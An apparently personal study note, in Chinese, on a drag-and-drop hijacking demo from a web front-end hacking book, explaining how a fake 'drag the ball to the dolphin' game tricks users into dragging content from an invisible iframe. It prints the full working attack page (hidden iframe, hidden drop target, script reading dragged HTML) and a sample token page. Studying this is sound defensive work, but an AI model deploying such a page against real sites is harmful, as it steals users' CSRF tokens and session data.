拖放劫持案例小球拖拽到海豚的嘴上实战笔记

问题

在《Web前端黑客技术揭秘》的5.32拖放劫持案例，是通过这么个游戏，把小球拖放到海豚的嘴上，从而获取到了token数据。

不过游戏规则有点模糊。

分析

规则：

如果改成先点击小球，再用ctrl+a选中小球，最后移动鼠标选中小球，拖到海豚嘴上。这样理解起来更好。

原文之所以加个在小球上“滑动鼠标”其实是为了，能让受害者选中隐藏的iframe中的内容，

如果直接用鼠标选中小球来拖，无法劫持到iframe的内容。

如果实际操作，就知道ctrl+a并不能选中小球，（只是为了欺骗受害者）它的目的是全选iframe框架中的内容，再拖放到可编辑的div或textarea中，从而实现拖放劫持。

笔记

HTML DOM addEventListener() 方法 | 菜鸟教程
 HTML5拖拽（二）--dataTransfer - 简书
这两篇文章对理解代码帮助很大。

同时代码使用了call函数：可以参考JavaScript 函数 Call

提示：第三方只在ie和火狐中测试有效。而谷歌浏览器只在同源下可以拖放。

代码

这里提供下两本书中的代码以及素材：

小球：

海豚：

代码：

Token页面：

<html>
11111111111111111111111111
<form method="POST">
    <input type="hidden" name="csrf_token" value="0123456789" />
</form>
<a href="https://passport.testa.com/?logout&token=0123456789">logout</a>
2222222222222222222222222

</html>

劫持Token的恶意网页：

<html>

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
    <title>
        Drag and Drop Attack Demo
    </title>
    <style>
        .IFrame_hidden {
            height: 50px;
            width: 50px;
            top: 360px;
            left: 365px;
            overflow: hidden;
            filter: alpha(opacity=0);
            opacity: 0;
            position: absolute;
        }

        .text_area_hidden {
            height: 30px;
            width: 30px;
            top: 180px;
            left: 665px;
            border: 1px solid black;
            overflow: hidden;
            filter: alpha(opacity=0);
            opacity: .0;
            position: absolute;
        }

        .ball {
            top: 350px;
            left: 350px;
            position: absolute;
        }

        .ball_1 {
            top: 136px;
            left: 640px;
            filter: alpha(opacity=0);
            opacity: .0;
            position: absolute;
        }

        .Dolphin {
            top: 150px;
            left: 600px;
            position: absolute;
        }

        .center {
            margin-right: auto;
            margin-left: auto;
            vertical-align: middle;
            text-align: center;
            margin-top: 350px;
        }
    </style>
    <script>
        function Init() {
            //添加监听
            var source = document.getElementById("source");
            var target = document.getElementById("target");
            if (source.addEventListener) {
                target.addEventListener("drop", DumpInfo, false);
            }
            else {
                target.attachEvent("ondrop", DumpInfo);
            }
        }
        function entities(s) {
            var e = {
                '"': '&quot;',
                '&': '&amp;',
                '<': '&lt;',
                '>': '&gt;'
            };
            return s.replace(/["&<>]/g,
                function (m) {
                    return e[m];
                });
        }
        function DumpInfo(event) {
            showHide_ball.call(this); //地面上的小球消失
            showHide_ball_1.call(this); //海豚嘴上的小球出现
            if (event.dataTransfer.types) {
                //Firefox浏览器支持
                var info = document.getElementById("info");
                info.innerHTML += "<span style='color:#3355cc;font-size:12px'>" +
                    entities(event.dataTransfer.getData('text/html')) + "</span><br> ";
                //在页面上打印出获取到的数据
            }
            else {
                //IE浏览器支持
                setTimeout("html()", 10);
            }
        }
        function html() {
            document.getElementById('target').innerText = document.getElementById('target').innerHTML;
            var info = document.getElementById("info");
            info.innerHTML += "<span style='color:#3355cc;font-size:12px'>" +
                (document.getElementById('target').innerHTML)
                + "</span><br> ";
            //在页面上打印出获取到的数据
        }
        function showHide_frame() {
            var IFrame_1 = document.getElementById("IFrame_1");
            IFrame_1.style.opacity = this.checked ? "0.5" : "0";
            IFrame_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha(opacity=" +
                (this.checked ? "50" : "0") + ");"
        }
        function showHide_text() {
            var text_1 = document.getElementById("target");
            text_1.style.opacity = this.checked ? "0.5" : "0";
            text_1.style.filter = "progid:DXImageTransform.Microsoft.Alpha (opacity=" +
                (this.checked ? "50" : "0") + ");"
        }
        function showHide_ball() {
            var hide_ball = document.getElementById("hide_ball");
            hide_ball.style.opacity = "0";
            hide_ball.style.filter = "alpha(opacity=0)";
        }
        function showHide_ball_1() {
            var hide_ball_1 = document.getElementById("hide_ball_1");
            hide_ball_1.style.opacity = "1";
            hide_ball_1.style.filter = "alpha(opacity=100)";
        }
        function reload_text() {
            document.getElementById("target").value = ''
        }
    </script>
</head>

<body onload="Init();">
    <center>
        <h1>
            Drag and Drop Attack
        </h1>
    </center>
    <img id="hide_ball" src=ball.png class="ball">
    <div id="source">
        <iframe id="Iframe_1" src="http://192.168.2.195/web_qianduan_heike_jiemi/Token.html" class="Iframe_hidden" scrolling="no">
        </iframe>
    </div>

    <img src=Dolphin.jpg class="Dolphin">
    <div>
        <img id="hide_ball_1" src=ball.png class="ball_1">
    </div>
    <div>
        <div id="target" class="text_area_hidden" contenteditable="true">
            test
        </div>
    </div>
    <div id="info" style="position:absolute;background-color:#e0e0e0;font-weight:bold;top:600px;">
    </div>
    <center>
        游戏规则："Ctrl + A" 或滑动鼠标选中小球，然后把小球拖放到海豚的嘴上。
        <br>
    </center>
    <br>
    <br>
    <div class="center">
        <center>
            <center>
                <input id="showHide_frame" type="checkbox" onclick="showHide_frame.call (this);" />
                <label for="showHide_frame">
                    Show the jacked I--Frame
                </label>
                |
                <input id="showHide_text" type="checkbox" onclick="showHide_text.call(this);" />
                <label for="showHide_text">
                    Show the jacked Textarea
                </label>
                |
                <input type=button value="Replay" onclick="location.reload();reload_text();">
            </center>
            <br>
            <br>
            <b>
                Design by
                <a target="_blank" href="http://hi.baidu.com/xisigr">
                    xisigr
                </a>
            </b>
        </center>
    </div>
</body>

</html>

拖放劫持案例 小球拖拽到海豚的嘴上 实战笔记

问题

分析

笔记

代码

参与讨论